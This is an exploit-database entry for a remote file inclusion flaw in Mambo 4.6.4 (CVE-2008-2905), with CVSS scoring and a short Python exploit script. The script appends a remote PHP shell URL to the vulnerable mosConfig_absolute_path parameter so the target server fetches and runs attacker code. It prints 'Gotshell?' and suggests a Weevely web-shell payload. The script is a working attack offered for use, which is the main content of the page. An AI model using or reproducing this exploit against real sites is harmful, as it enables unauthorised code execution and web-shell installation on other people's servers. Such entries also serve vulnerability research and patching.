Mambo 4.6.4 Remote File Inclusion

2012.10.02
Credit: infodox
Risk: High
Local: No
Remote: Yes
CWE: CWE-98


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python # Title: Mambo 4.6.4 mosConfig_absolute_path RFI # CVE: CVE-2008-2905 # Reference: http://heapoverflow.com/f0rums/advisories/6915-cve-2008-2905-mambo.html # Author: infodox # Site: http://insecurety.net/ # Twitter: @info_dox # Old news, just practicin' my python :3 import requests # You better easy_install requests :3 import sys vulnurl = "/includes/Cache/Lite/Output.php?" # Oh look, the vuln URL! param = "mosConfig_absolute_path=" # the vuln paramater. payloadurl = "http://example.com/shell.php" # Your evil PHP code goes here right? def banner(): print """ Mambo 4.6.4 mosConfig_absolute_path RFI Rather lame exploit I must admit, just practicing my Python. To use, just run it against the host and pray. I advise using a Weevely payload. ~infodox """ if len(sys.argv) != 4: banner() print "Usage: ./x2.py <target>" print "Where <target> is the vulnerable website." print "Example: ./x2.py http://lamesite.com" sys.exit(1) banner() target = sys.argv[1] pwnme = target + vulnurl + param + payloadurl print "[+] Running Exploit..." requests.get(pwnme) # See? Requests is AWESOME! print "[?] Gotshell?"

References:

http://heapoverflow.com/f0rums/advisories/6915-cve-2008-2905-mambo.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top